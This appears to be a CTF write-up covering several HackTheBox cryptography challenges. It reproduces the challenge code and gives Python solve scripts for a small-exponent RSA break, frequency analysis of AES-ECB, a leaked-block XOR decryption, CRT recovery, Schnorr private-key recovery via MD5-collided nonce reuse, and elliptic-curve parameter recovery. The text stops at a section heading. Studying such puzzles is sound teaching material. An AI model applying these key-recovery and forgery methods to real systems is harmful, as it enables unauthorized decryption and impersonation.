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Cyber Apocalypse 2023: The Cursed Mission - Cryptography

Mon, 27 Mar 2023 00:00:00 +0000

ctf

writeup

crypto

htb-2023

Table of Contents

Ancient Encodings

Given file: Get it here!
Description: Your initialization sequence requires loading various programs to gain the necessary knowledge and skills for your journey. Your first task is to learn the ancient encodings used by the aliens in their communication.
Category: Cryptography
Difficulty: Very Easy

We are given a Python script and a text file. Analyze the script, we get to know how the string is being encoded, which is Base 64 encode > Conversion to long from bytes > Hex.

To get the original string, we simply reverse the process, using CyberChef with the hex given in the text file.

Flag is: HTB{1n_y0ur_j0urn3y_y0u_wi1l_se3_th15_enc0d1ngs_ev3rywher3}

Small StEps

Given file: Get it here!
Description: As you continue your journey, you must learn about the encryption method the aliens used to secure their communication from eavesdroppers. The engineering team has designed a challenge that emulates the exact parameters of the aliens’ encryption system, complete with instructions and a code snippet to connect to a mock alien server. Your task is to break it.
Note: This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.
Category: Cryptography
Difficulty: Very Easy

We are given two Python script. The server.py is to setup a server for RSA encryption. It will output n, e, ct upon connecting to the netcat server/run the Python script locally.

Since e is always 3, we can use Low public exponent RSA attack to recover the initial message. In general, we only have to calculate cube root of ciphertext to get the plaintext.

Below is the implementation of the attack in Python.

from Crypto.Util.number import long_to_bytes
import gmpy2

n = 884883504927573976507811885368533220992278181011115684591381528075201937106582650631361008463165895850991665645858432026935373136174833729634068491453157
e = 3
ct = 70407336670535933819674104208890254240063781538460394662998902860952366439176467447947737680952277637330523818962104685553250402512989897886053

pt = gmpy2.iroot(ct, 3)[0] # Get cube root of ct
print(long_to_bytes(pt))

Flag is: HTB{5ma1l_E-xp0n3nt}

Perfect Synchronization

Given file: Get it here!
Description: The final stage of your initialization sequence is mastering cutting-edge technology tools that can be life-changing. One of these tools is quipqiup, an automated tool for frequency analysis and breaking substitution ciphers. This is the ultimate challenge, simulating the use of AES encryption to protect a message. Can you break it?
Category: Cryptography
Difficulty: Easy

The encryption is shown below:

from os import urandom
from Crypto.Cipher import AES
from secret import MESSAGE

assert all([x.isupper() or x in '{_} ' for x in MESSAGE])


class Cipher:

 def __init__(self):
 self.salt = urandom(15)
 key = urandom(16)
 self.cipher = AES.new(key, AES.MODE_ECB)

 def encrypt(self, message):
 return [self.cipher.encrypt(c.encode() + self.salt) for c in message]


def main():
 cipher = Cipher()
 encrypted = cipher.encrypt(MESSAGE)
 encrypted = "\n".join([c.hex() for c in encrypted])

 with open("output.txt", 'w+') as f:
 f.write(encrypted)


if __name__ == "__main__":
 main()

Problem statement

The Python script defines a Cipher class that generates a random salt and key, then encrypts a message using AES in ECB mode. The encrypted message is written to a file in hexadecimal format. The MESSAGE variable is imported from a separate file. Our mission is to recover the encrypted message and find the flag in it.

Initial Analysis

The randomness

The author adds some randomnesses including key and salt to make the encryption more unpredictable. But if you look more closely into it, you will realize that the salt is just initialized once, and be padded for all characters in the message. It means the salt is not too much useful, it just shifts all characters by a constant value.

The AES encryption mode

The author uses EBC mode - the weakest mode, to encrypt all shifted characters of the message.

For anyone who doesn’t know about ECB: ECB (Electronic Codebook) is one of the simplest modes of AES encryption, where each block of plaintext is encrypted separately using the same key.

In this mode, identical plaintext blocks will be encrypted to identical ciphertext blocks, making it vulnerable to attacks that exploit patterns in the plaintext. Therefore, ECB mode is not recommended for secure communication, and other modes like CBC, CTR, or GCM are preferred. A visualized example is illustrated in this wiki to show that AES-ECB mode is not semantically secure.

Conclusion

By the above analysis, we can prove that:

For every $c_A, c_B \in \text{message}$: $c_A = c_B \Leftrightarrow ECB(c_A + \text{salt}) = ECB(c_B + \text{salt})$

This means the encryption is just a substitution cipher.

Solution method

For simplicity in frequency analyzing, I map every different hex strings in the output file to a character (A-Z, 1-4), noted that identical strings would produce identical characters. By comparing to English Letter Frequency (including space character) table, we may recover some common letters like e, t, i, a, o confidentally. Then, by the reduncancy and meaning of English words, I can recover the entire content and find the flag.

Results

After the mapping, here is the encrypted message:

ABCDECFGHIJFJKHLMLIMLINJLCOIPFIQRCIAJGQIQRJQIMFIJFHISMTCFILQBCQGRIPAIVBMQQCFIKJFSEJSCIGCBQJMFIKCQQCBLIJFOIGPUNMFJQMPFLIPAIKCQQCBLIPGGEBIVMQRITJBHMFSIABCDECFGMCLIUPBCPTCBIQRCBCIMLIJIGRJBJGQCBMLQMGIOMLQBMNEQMPFIPAIKCQQCBLIQRJQIMLIBPESRKHIQRCILJUCIAPBIJKUPLQIJKKILJUWKCLIPAIQRJQIKJFSEJSCIMFIGBHWQJFJKHLMLIABCDECFGHIJFJKHLMLIJKLPIXFPVFIJLIGPEFQMFSIKCQQCBLIMLIQRCILQEOHIPAIQRCIABCDECFGHIPAIKCQQCBLIPBISBPEWLIPAIKCQQCBLIMFIJIGMWRCBQCYQIQRCIUCQRPOIMLIELCOIJLIJFIJMOIQPINBCJXMFSIGKJLLMGJKIGMWRCBLIABCDECFGHIJFJKHLMLIBCDEMBCLIPFKHIJINJLMGIEFOCBLQJFOMFSIPAIQRCILQJQMLQMGLIPAIQRCIWKJMFQCYQIKJFSEJSCIJFOILPUCIWBPNKCUILPKTMFSILXMKKLIJFOIMAIWCBAPBUCOINHIRJFOIQPKCBJFGCIAPBICYQCFLMTCIKCQQCBINPPXXCCWMFSIOEBMFSIVPBKOIVJBIMMINPQRIQRCINBMQMLRIJFOIQRCIJUCBMGJFLIBCGBEMQCOIGPOCNBCJXCBLINHIWKJGMFSIGBPLLVPBOIWEZZKCLIMFIUJ1PBIFCVLWJWCBLIJFOIBEFFMFSIGPFQCLQLIAPBIVRPIGPEKOILPKTCIQRCUIQRCIAJLQCLQILCTCBJKIPAIQRCIGMWRCBLIELCOINHIQRCIJYMLIWPVCBLIVCBCINBCJXJNKCIELMFSIABCDECFGHIJFJKHLMLIAPBICYJUWKCILPUCIPAIQRCIGPFLEKJBIGMWRCBLIELCOINHIQRCI1JWJFCLCIUCGRJFMGJKIUCQRPOLIPAIKCQQCBIGPEFQMFSIJFOILQJQMLQMGJKIJFJKHLMLISCFCBJKKHIRQN2J3LMUWKC3LENLQMQEQMPF3ML3VCJX4IGJBOIQHWCIUJGRMFCBHIVCBCIAMBLQIELCOIMFIVPBKOIVJBIMMIWPLLMNKHINHIQRCIELIJBUHLILMLIQPOJHIQRCIRJBOIVPBXIPAIKCQQCBIGPEFQMFSIJFOIJFJKHLMLIRJLINCCFIBCWKJGCOINHIGPUWEQCBILPAQVJBCIVRMGRIGJFIGJBBHIPEQILEGRIJFJKHLMLIMFILCGPFOLIVMQRIUPOCBFIGPUWEQMFSIWPVCBIGKJLLMGJKIGMWRCBLIJBCIEFKMXCKHIQPIWBPTMOCIJFHIBCJKIWBPQCGQMPFIAPBIGPFAMOCFQMJKIOJQJIWEZZKCIWEZZKCIWEZZKC

Plotting the histogram of this encrypted message, comparing with the expected frequency, we get:

Here is the script, if you’re interested in:

import matplotlib.pyplot as plt

def plot_histogram(text):
 english_freq = {'space': 0.18316895740067898, 'e': 0.10266650309881365, 't': 0.07516918822929543, 'a': 0.0653211522431101, 'o': 0.06165021261170107, 'i': 0.06109938076429621, 'n': 0.05748993391266301, 's': 0.0558094607431706, 'r': 0.05501226388301501, 'h': 0.0418265243918537, 'l': 0.03203162615518401, 'd': 0.03123691335535358, 'u': 0.02074798285524714, 'c': 0.020576050425919314, 'm': 0.019830666456506605, 'f': 0.016535714836861396, 'w': 0.015818636195592536, 'g': 0.014126275726274115, 'p': 0.01318902368984632, 'y': 0.012614330285168858, 'b': 0.010748157780246267, 'v': 0.007961080746834234, 'k': 0.005609987561400249, 'x': 0.0012367402118007968, 'j': 0.0010975645567653538, 'q': 0.0010065039671926798, 'z': 0.0005273232293542625}
 char_dict = {}
 for char in text:
 if char in char_dict:
 char_dict[char] += 1
 else:
 char_dict[char] = 1
 for key in char_dict:
 char_dict[key] /= len(text)
 # char_dict[key] *= 100
 char_dict = dict(sorted(char_dict.items(), key=lambda x: x[1], reverse=True))
 # plt.bar(char_dict.keys(), char_dict.values())
 fig, (ax1, ax2) = plt.subplots(nrows=2, ncols=1)

 # Plot the first subplot
 ax1.bar(char_dict.keys(), char_dict.values())
 ax1.set_xlabel('Encrypted message')
 ax1.set_ylabel('Frequency (%)')

 # Plot the second subplot
 ax2.bar(english_freq.keys(), english_freq.values())
 ax2.set_xlabel('English')
 ax2.set_ylabel('Frequency (%)')
 plt.show()

Based on the charts, we can easily find that letter I, C in encrypted message must be space and e in English, respectively. I guess there must be one and only one pair {} in the message for the flag HTB{...}. In the above chart, letter 2 and 4 share the smallest frequency, so they must be { and }. Moreover, the 3 characters immediately preceding { must be htb. After that, we got:

ABeDEeFGH JFJKHLML ML bJLeO PF the AJGt thJt MF JFH SMTeF LtBetGh PA VBMtteF KJFSEJSe GeBtJMF KetteBL JFO GPUbMFJtMPFL PA KetteBL PGGEB VMth TJBHMFS ABeDEeFGMeL UPBePTeB theBe ML J GhJBJGteBMLtMG OMLtBMbEtMPF PA KetteBL thJt ML BPEShKH the LJUe APB JKUPLt JKK LJUWKeL PA thJt KJFSEJSe MF GBHWtJFJKHLML ABeDEeFGH JFJKHLML JKLP XFPVF JL GPEFtMFS KetteBL ML the LtEOH PA the ABeDEeFGH PA KetteBL PB SBPEWL PA KetteBL MF J GMWheBteYt the UethPO ML ELeO JL JF JMO tP bBeJXMFS GKJLLMGJK GMWheBL ABeDEeFGH JFJKHLML BeDEMBeL PFKH J bJLMG EFOeBLtJFOMFS PA the LtJtMLtMGL PA the WKJMFteYt KJFSEJSe JFO LPUe WBPbKeU LPKTMFS LXMKKL JFO MA WeBAPBUeO bH hJFO tPKeBJFGe APB eYteFLMTe KetteB bPPXXeeWMFS OEBMFS VPBKO VJB MM bPth the bBMtMLh JFO the JUeBMGJFL BeGBEMteO GPOebBeJXeBL bH WKJGMFS GBPLLVPBO WEZZKeL MF UJ1PB FeVLWJWeBL JFO BEFFMFS GPFteLtL APB VhP GPEKO LPKTe theU the AJLteLt LeTeBJK PA the GMWheBL ELeO bH the JYML WPVeBL VeBe bBeJXJbKe ELMFS ABeDEeFGH JFJKHLML APB eYJUWKe LPUe PA the GPFLEKJB GMWheBL ELeO bH the 1JWJFeLe UeGhJFMGJK UethPOL PA KetteB GPEFtMFS JFO LtJtMLtMGJK JFJKHLML SeFeBJKKH htb{J3LMUWKe3LEbLtMtEtMPF3ML3VeJX} GJBO tHWe UJGhMFeBH VeBe AMBLt ELeO MF VPBKO VJB MM WPLLMbKH bH the EL JBUHL LML tPOJH the hJBO VPBX PA KetteB GPEFtMFS JFO JFJKHLML hJL beeF BeWKJGeO bH GPUWEteB LPAtVJBe VhMGh GJF GJBBH PEt LEGh JFJKHLML MF LeGPFOL VMth UPOeBF GPUWEtMFS WPVeB GKJLLMGJK GMWheBL JBe EFKMXeKH tP WBPTMOe JFH BeJK WBPteGtMPF APB GPFAMOeFtMJK OJtJ WEZZKe WEZZKe WEZZKe

The remaining task is to guess the words based on their meanings. Here is the result:

frequency analysis is based on the fact that in any giTen stretch of written language certain letters and combinations of letters occur with Tarying frequencies moreoTer there is a characteristic distribution of letters that is roughly the same for almost all samples of that language in cryptanalysis frequency analysis also tnown as counting letters is the study of the frequency of letters or groups of letters in a cipherteYt the method is used as an aid to breating classical ciphers frequency analysis requires only a basic understanding of the statistics of the plainteYt language and some problem solTing stills and if performed by hand tolerance for eYtensiTe letter bootteeping during world war ii both the british and the americans recruited codebreaters by placing crossword puZZles in ma1or newspapers and running contests for who could solTe them the fastest seTeral of the ciphers used by the aYis powers were breatable using frequency analysis for eYample some of the consular ciphers used by the 1apanese mechanical methods of letter counting and statistical analysis generally htb{a_simple_substitution_is_weat} card type machinery were first used in world war ii possibly by the us armys sis today the hard wort of letter counting and analysis has been replaced by computer software which can carry out such analysis in seconds with modern computing power classical ciphers are unlitely to proTide any real protection for confidential data puZZle puZZle puZZle

Flag is: HTB{a_simple_substitution_is_weat}

Conclusion

This challenge is just a substitution cipher, which is totally insecure against frequency analysis. The random key, salt, AES-ECB is just to make colors :D.

Multipage Recyclings

Given file: Get it here!
Description: As your investigation progressed, a clue led you to a local bar where you met an undercover agent with valuable information. He spoke of a famous astronomy scientist who lived in the area and extensively studied the relic. The scientist wrote a book containing valuable insights on the relic’s location, but encrypted it before he disappeared to keep it safe from malicious intent. The old man disclosed that the book was hidden in the scientist’s house and revealed two phrases that the scientist rambled about before vanishing.
Category: Cryptography
Difficulty: Easy

The server script is shown below:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import random, os

FLAG = b'HTB{??????????????????????}'

class CAES:

 def __init__(self):
 self.key = os.urandom(16)
 self.cipher = AES.new(self.key, AES.MODE_ECB)

 def blockify(self, message, size):
 return [message[i:i + size] for i in range(0, len(message), size)]

 def xor(self, a, b):
 return b''.join([bytes([_a ^ _b]) for _a, _b in zip(a, b)])

 def encrypt(self, message):
 iv = os.urandom(16)

 ciphertext = b''
 plaintext = iv

 blocks = self.blockify(message, 16)
 for block in blocks:
 ct = self.cipher.encrypt(plaintext)
 encrypted_block = self.xor(block, ct)
 ciphertext += encrypted_block
 plaintext = encrypted_block

 return ciphertext

 def leak(self, blocks):
 r = random.randint(0, len(blocks) - 2)
 leak = [self.cipher.encrypt(blocks[i]).hex() for i in [r, r + 1]]
 return r, leak


def main():
 aes = CAES()
 message = pad(FLAG * 4, 16)

 ciphertext = aes.encrypt(message)
 ciphertext_blocks = aes.blockify(ciphertext, 16)

 r, leak = aes.leak(ciphertext_blocks)

 with open('output.txt', 'w') as f:
 f.write(f'ct = {ciphertext.hex()}\nr = {r}\nphrases = {leak}\n')


if __name__ == "__main__":
 main()

We also have an output file:

ct = bc9bc77a809b7f618522d36ef7765e1cad359eef39f0eaa5dc5d85f3ab249e788c9bc36e11d72eee281d1a645027bd96a363c0e24efc6b5caa552b2df4979a5ad41e405576d415a5272ba730e27c593eb2c725031a52b7aa92df4c4e26f116c631630b5d23f11775804a688e5e4d5624
r = 3
phrases = ['8b6973611d8b62941043f85cd1483244', 'cf8f71416111f1e8cdee791151c222ad']

Problem Statement

This code defines a class called CAES that implements the AES encryption algorithm in ECB mode. The CAES class has methods to blockify a message into 16-byte blocks, xor two byte arrays, and encrypt a message using AES in ECB mode. Additionally, it has a method called leak that generates a random integer r and returns the encryption of two randomly chosen adjacent 16-byte blocks. The main function of this code creates an instance of the CAES class, generates a message by padded FLAG*4, encrypts the message, and generates a leak using the leak method of the CAES class. Finally, the main function writes the ciphertext, the randomly chosen integer r, and the leak to a file called output.txt.

Initial Analysis

The encryption method

The encrypt() method is not in ECB mode, it’s similar to CBC, which can be visualized by this graph:

The Leaked Data

The leak method extracts 2 consecutives blocks of ciphertext and encrypted them using ECB mode. Our leaked data is of ciphertext block 3th and 4th. By using the graph above, we can easily see where the leak data comes from and how to use it to break the system, here is the new graph:

Solution Method

The work is simple, just to xor the c[4] with Leak[0] and xor c[5] with Leak[1], then we can recover the plaintext m[4] and m[5], respectively. They must be parts of, or entire flag (in any order).

Here is the script:

def xor(a, b):
 return b''.join([bytes([_a ^ _b]) for _a, _b in zip(a, b)])

def blockify(message, size):
 return [message[i:i + size] for i in range(0, len(message), size)]
ct = 'bc9bc77a809b7f618522d36ef7765e1cad359eef39f0eaa5dc5d85f3ab249e788c9bc36e11d72eee281d1a645027bd96a363c0e24efc6b5caa552b2df4979a5ad41e405576d415a5272ba730e27c593eb2c725031a52b7aa92df4c4e26f116c631630b5d23f11775804a688e5e4d5624'
r = 3
Leak = ['8b6973611d8b62941043f85cd1483244', 'cf8f71416111f1e8cdee791151c222ad']
Leak = [bytes.fromhex(x) for x in Leak]
c = blockify(ct, 32)

c = [bytes.fromhex(x) for x in c]
print(xor(c[4], Leak[0]) + xor(c[5], Leak[1]))

Results

Here is the result: b'_w34k_w17h_l34kz}HTB{CFB_15_w34k'

Flag is: HTB{CFB_15_w34k_w34k_w17h_l34kz}

Inside the Matrix

Given file: Get it here!
Description: As you deciphered the Matrix, you discovered that the astronomy scientist had observed that certain stars were not real. He had created two 5x5 matrices with values based on the time the stars were bright, but after some time, the stars stopped emitting light. Nonetheless, he had managed to capture every matrix until then and created an algorithm that simulated their generation. However, he could not understand what was hidden behind them as he was missing something. He believed that if he could understand the stars, he would be able to locate the secret tombs where the relic was hidden.
Category: Cryptography
Difficulty: Easy

The server script is shown below:

from sage.all_cmdline import *
# from utils import ascii_print
import os

FLAG = b"HTB{????????????????????}"
assert len(FLAG) == 25


class Book:

 def __init__(self):
 self.size = 5
 self.prime = None

 def parse(self, pt: bytes):
 pt = [b for b in pt]
 return matrix(GF(self.prime), self.size, self.size, pt)

 def generate(self):
 key = os.urandom(self.size**2)
 return self.parse(key)

 def rotate(self):
 self.prime = random_prime(2**6, False, 2**4)

 def encrypt(self, message: bytes):
 self.rotate()
 key = self.generate()
 message = self.parse(message)
 ciphertext = message * key
 return ciphertext, key


def menu():
 print("Options:\n")
 print("[L]ook at page")
 print("[T]urn page")
 print("[C]heat\n")
 option = input("> ")
 return option


def main():
 book = Book()
 ciphertext, key = book.encrypt(FLAG)
 page_number = 1

 while True:
 option = menu()
 if option == "L":
 # ascii_print(ciphertext, key, page_number)
 print(ciphertext, key, page_number)
 elif option == "T":
 ciphertext, key = book.encrypt(FLAG)
 page_number += 2
 print()
 elif option == "C":
 print(f"\n{list(ciphertext)}\n{list(key)}\n")
 else:
 print("\nInvalid option!\n")


if __name__ == "__main__":
 try:
 main()
 except Exception as e:
 print(f"An error occurred: {e}")

Problem Statement

The code defines a class Book that is used to generate a key matrix and encrypt a message using matrix multiplication. The matrix is generated randomly each time a message is encrypted, and its size is fixed at $5\times 5$. The program encrypts a flag, stored in FLAG, using the Book class and presents a menu to the user to interact with the encrypted flag.

The main function of the code presents a menu to the user with three options:

[L]ook at page: displays the ciphertext and key matrix for the current page number. Here is an example output when you choose this option:

Options:

[L]ook at page
[T]urn page
[C]heat

> L

 _________ _________
 ______/ 5\ / 6 \_______
 /| --------------- | --------------- |\
|| Ciphertext:--- - | Key:------------ |||
|| ---------------- | ------ -------- |||
|| ---------- ----- | ---------------- |||
|| [3,12,21,20,8]-- | [18,18,21,26,24] |||
|| [1,1,9,7,1]----- | [21,7,10,9,2]--- |||
|| [10,3,8,6,13]--- | [22,1,24,22,12]- |||
|| [0,19,24,15,12]- | [7,21,7,20,2]--- |||
|| [10,4,6,2,4]---- | [26,25,17,3,25]- |||
|| ---------------- | ------ ----- --- |||
|| --- - ---------- | ---------------- |||
||______________ _ | ________________|||
L/______/---------\\_//W--------\_______\J

[T]urn page: generates a new key matrix and ciphertext for the next page number.
[C]heat: displays the ciphertext and key matrix in list type. The Cheat output of above example page is:

[(3, 12, 21, 20, 8), (1, 1, 9, 7, 1), (10, 3, 8, 6, 13), (0, 19, 24, 15, 12), (10, 4, 6, 2, 4)]
[(18, 18, 21, 26, 24), (21, 7, 10, 9, 2), (22, 1, 24, 22, 12), (7, 21, 7, 20, 2), (26, 25, 17, 3, 25)]

Initial Analysis

Primes

Prime $p$ is changed whenever Turn page option is chosen. Though we don’t know what $p$ is, we know that it would be from 16 to 64. There are 12 primes in this range, which are $17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61$.

The Encryption

It’s just a multiplication between two $5 \times 5$ matrixs over the field of integers modulo $p$:

$$C \equiv M\times K (\text{mod } p)$$

$$\Leftrightarrow M \equiv C\times K^{-1} (\text{mod } p)$$

Conclusion

We already have key $K$ and ciphertext $C$ by using Cheat option. Then if we know $p$, we can easily recover message $M$ in modulus $p$. Because $p$ is changeable, we can gather several pairs $(M_i, p_i)$ where $i \geq 2$.

Solution Method

Suppose there are some entries in a key $K_1$ which are larger than 59, then $p_1$ must be 61.

Suppose all entries in a key $K_2$ are smaller than 17, then it’s likely that $p_2$ is 17.

If we have $K_1$ and $K_2$, then we can recover $M_1$, $M_2$. By applying CRT (Chinese Remainder Theorem) for 2 pairs $(M_1, 61)$ and $(M_2, 17)$, we can get $M$ in modulus $61\times 17 = 1037$. Because every entries of the actual message’s matrix are bytes, they would be smaller than 128 (which is much smaller than 1037). This means our $M$ is actually the message itself.

So our mission is just to find $C_1, C_2$ by using Turn page many times. Here is the script after we gather enough materials (I used $p_1=61$ and $p_2=19$):

M_1 = [11, 23, 5, 1, 47, 48, 48, 46, 34, 3, 55, 34, 55, 43, 51, 34, 54, 55, 52, 53, 54, 33, 33, 33, 3]
M_2 = [15, 8, 9, 9, 13, 10, 10, 12, 0, 7,2, 0, 17, 9, 13,0, 1, 2, 14, 0,1, 14, 14, 14, 11]
res = []
from sympy.ntheory.modular import crt
for i in range(len(M_1)):
 m = [61, 19]
 v = [M_1[i], M_2[i]]
# Use crt() method 
 crt_m_v = crt(m, v)[0]
 res.append(crt_m_v)
print(''.join([chr(x) for x in res]))

Results

Flag is: HTB{l00k_@t_7h3_st4rs!!!}

Colliding Heritage

Description: As you arrive at the location of the relic, you discover an ancient tomb that appears to have no visible entrance. However, a scan of the area reveals the presence of unusual RF signals coming from a specific location. With the help of your team, you manage to create an interface to communicate with the signal-emitting device. Unfortunately, the device only grants access to descendants of the pharaoh’s left hand. Can you find a way to enter the tomb?
Category: Cryptography
Difficulty: Medium

We were given a file below:

#!/usr/bin/env python3

import signal
from secrets import randbelow
from hashlib import md5
from Crypto.Util.number import isPrime, getPrime, long_to_bytes, bytes_to_long

FLAG = "HTB{???????????????????????????}"

class MD5chnorr:

 def __init__(self):
 # while True:
 # self.q = getPrime(128)
 # self.p = 2*self.q + 1
 # if isPrime(self.p):
 # break
 self.p = 0x16dd987483c08aefa88f28147702e51eb
 self.q = (self.p - 1) // 2
 self.g = 3
 self.x = randbelow(self.q)
 self.y = pow(self.g, self.x, self.p)

 def H(self, msg):
 return bytes_to_long(md5(msg).digest()) % self.q

 def sign(self, msg):
 k = self.H(msg + long_to_bytes(self.x))
 print(f'{k = }')
 r = pow(self.g, k, self.p) % self.q
 e = self.H(long_to_bytes(r) + msg)
 s = (k - self.x * e) % self.q
 return (s, e)

 def verify(self, msg, sig):
 s, e = sig
 if not (0 < s < self.q):
 return False
 if not (0 < e < self.q):
 return False
 rv = pow(self.g, s, self.p) * pow(self.y, e, self.p) % self.p % self.q
 ev = self.H(long_to_bytes(rv) + msg)
 return ev == e

def menu():
 print('[S]ign a message')
 print('[V]erify a signature')
 return input('> ').upper()[0]

def main():
 md5chnorr = MD5chnorr()
 print('g:', md5chnorr.g)
 print('y:', md5chnorr.y)
 print('p:', md5chnorr.p)

 for _ in range(3):
 choice = menu()

 if choice == 'S':
 msg = bytes.fromhex(input('Enter message> '))
 if b'I am the left hand' in msg:
 print('No!')
 else:
 sig = md5chnorr.sign(msg)
 print('Signature:', sig)

 elif choice == 'V':
 msg = bytes.fromhex(input('Enter message> '))
 s = int(input('Enter s> '))
 e = int(input('Enter e> '))
 if md5chnorr.verify(msg, (s, e)):
 if msg == b'I am the left hand':
 print(FLAG)
 else:
 print('Valid signature!')
 else:
 print('Invalid signature!')

 else:
 print('Invalid choice...')

if __name__ == '__main__':
 signal.alarm(30)
 main()

Initial Analysis

This challenge implements the Schnorr signature. We were given 4 parameters including the generator $g$, prime $q,p=2*q+1$ and $y=g^{x} [pq]$. To get the flag, we have to submit to verify function a message with its signature such that there is a string I am the left hand in the message. However we can not create signature for any message that has this string via function sign. To solved this challenge, i create a signature by hand by retriving the private key $x$ in sign function.

Solution

After reading on wiki, i noticed a vulnerability section Key leakage from nonce reuse. If we create two signatures with the same nonce $k$, then we have:

$$s_1= k-xe_1 [q]$$

$$s_2= k-xe_2 [q]$$

Now we can easily get the private key $x$:

$$x = (s_2 - s_1)(e_1e_2)^{-1}[q]$$

But how can we create two signatures with the same $k$? From the source we know that $k$ is actually md5(msg|x). We can submit any $msg$ we want, so i immediately think of creating the md5 identical-prefix collision using Hashclash. Hashclash will help us to find 2 messages of length 64 that has the same md5 hash, therefore md5(msg|x) or $k$ of these messages will be the same.

After getting $x$, with any message that has the required string we can easily compute $k$ and then $r$, create our own signature $e$ and submit to server to get the flag.

Flag is: HTB{w3ll_y3s_bu7_4c7ual1y_n0…}

Elliptic Labyrinth

Given file: Get it here!
Description: As you navigate through the labyrinth inside the tomb, you encounter GPS inaccuracies that make it difficult to determine the correct path to the exit. Can you overcome the technical issues and use your instincts to find your way out of the maze?
Note: This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.
Category: Cryptography
Difficulty: Medium

The server script is shown below:

import os, json
from hashlib import sha256
from random import randint
from Crypto.Util.number import getPrime, long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from sage.all_cmdline import *
from secret import FLAG


class ECC:

 def __init__(self, bits):
 self.p = getPrime(bits)
 self.a = randint(1, self.p)
 self.b = randint(1, self.p)

 def gen_random_point(self):
 return EllipticCurve(GF(self.p), [self.a, self.b]).random_point()


def menu():
 print("1. Get parameters of path")
 print("2. Get point in path")
 print("3. Try to exit the labyrinth")
 option = input("> ")
 return option


def main():
 ec = ECC(512)

 while True:
 choice = menu()
 if choice == '1':
 r = randint(ec.p.bit_length() // 3, 2 * ec.p.bit_length() // 3)
 print(
 json.dumps({
 'p': hex(ec.p),
 'a': hex(ec.a >> r),
 'b': hex(ec.b >> r)
 }))
 elif choice == '2':
 A = ec.gen_random_point()
 print(json.dumps({'x': hex(A[0]), 'y': hex(A[1])}))
 elif choice == '3':
 iv = os.urandom(16)
 key = sha256(long_to_bytes(pow(ec.a, ec.b, ec.p))).digest()[:16]
 cipher = AES.new(key, AES.MODE_CBC, iv)
 flag = pad(FLAG, 16)
 print(
 json.dumps({
 'iv': iv.hex(),
 'enc': cipher.encrypt(flag).hex()
 }))
 else:
 print('Bye.')
 exit()

if __name__ == '__main__':
 main()

Problem Statement

The program generates random secret elliptic curve parameters and allows the user to:

Option 1: Obtain the modulus p and a few MSB bits of ECC parameters.
Option 2: Obtain a random point on the curve.
Option 3: Provide the encrypted FLAG.

Our mission is to decrypt the flag.

Initial analysis

What we need to decrypt the flag?

Obviously, we cannot break the AES to find the flag without the key. To recover the key, we need to know all elliptic curve’s parameters, which are a, b and p. We already known p, so what we do is trying to retrieve a and b from the information provided by the server.

Having many points on the curve

Every point $P(x, y)$ belonging to this elliptic curve must satisfy the equation: $y^2 \equiv x^3 + ax + b (\text{mod } p)$. To find a and b in p, we must at least have a system of 2 equations like this. Fortunately, the server allows user to generate many points.

Solution Method

Suppose we have two different points $M(x_m, y_m)$, $N(x_n, y_n)$ in the curve. We recover $a,b$ by below formulas:

$a \equiv (y^2_m - y^2_n - (x^3_m - x^3_n))(x_m - x_n)^{-1} (\text{mod } p)$

$b \equiv y^2_m - x^3_m - ax_m (\text{mod } p)$

The script:

def recover(p, M, N):
 x1, y1 = M
 x2, y2 = N
 a = pow(x1 - x2, -1, p) * (pow(y1, 2, p) - pow(y2, 2, p) - (pow(x1, 3, p) - pow(x2, 3, p))) % p
 b = (pow(y1, 2, p) - pow(x1, 3, p) - a * x1) % p
 return a, b

That’s all! By having a and b, we can easily recover the key and therefore decrypt the FLAG.

from hashlib import sha256
from random import randint
from Crypto.Util.number import getPrime, long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

iv = bytes.fromhex(iv)
key = sha256(long_to_bytes(pow(a, b, p))).digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, iv)
enc = bytes.fromhex(enc)
print(cipher.decrypt(enc))

Results

Flag is: HTB{d3fund_s4v3s_th3_d4y!}

Elliptic Labyrinth Revenge

Given file: Get it here!
Description: As you navigate through the labyrinth inside the tomb, you encounter GPS inaccuracies that make it difficult to determine the correct path to the exit. Can you overcome the technical issues and use your instincts to find your way out of the maze?
Note: This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.
Category: Crypto
Difficulty: Hard

This challenge is a modified version of Elliptic Labyrinth to force CTF players solve it in intended way.

The server script is shown below, which has a bit different from the previous version:

import os, json
from hashlib import sha256
from random import randint
from Crypto.Util.number import getPrime, long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from sage.all_cmdline import *
from secret import FLAG


class ECC:

 def __init__(self, bits):
 self.p = getPrime(bits)
 self.a = randint(1, self.p)
 self.b = randint(1, self.p)

 def gen_random_point(self):
 return EllipticCurve(GF(self.p), [self.a, self.b]).random_point()


def menu():
 print("1. Get parameters of path")
 print("2. Try to exit the labyrinth")
 option = input("> ")
 return option


def main():
 ec = ECC(512)

 A = ec.gen_random_point()
 print("This is the point you calculated before:")
 print(json.dumps({'x': hex(A[0]), 'y': hex(A[1])}))

 while True:
 choice = menu()
 if choice == '1':
 r = randint(ec.p.bit_length() // 3, 2 * ec.p.bit_length() // 3)
 print(
 json.dumps({
 'p': hex(ec.p),
 'a': hex(ec.a >> r),
 'b': hex(ec.b >> r)
 }))
 elif choice == '2':
 iv = os.urandom(16)
 key = sha256(long_to_bytes(pow(ec.a, ec.b, ec.p))).digest()[:16]
 cipher = AES.new(key, AES.MODE_CBC, iv)
 flag = pad(FLAG, 16)
 print(
 json.dumps({
 'iv': iv.hex(),
 'enc': cipher.encrypt(flag).hex()
 }))
 else:
 print('Bye.')
 exit()


if __name__ == '__main__':
 main()

Problem Statement

The program generates random secret elliptic curve parameters and allows the user to:

Option 1: Obtain the modulus p and a few MSB bits of ECC parameters.
Option 2: Provide the encrypted FLAG.

Unlike the previous one, now the server doesn’t provide an option to generate random points, instead it gives players only one point at the beginning. The objective is to recover curve’s parameters given a single point of the curve, p and the most significant bits of a and b.

Initial Analysis

AES Encryption

Easily see that the AES scheme is normal and therefore we can exploit anything from it. The only way to retrieve the FLAG is finding the key, which means finding the curve’s parameters.

Leak Bits

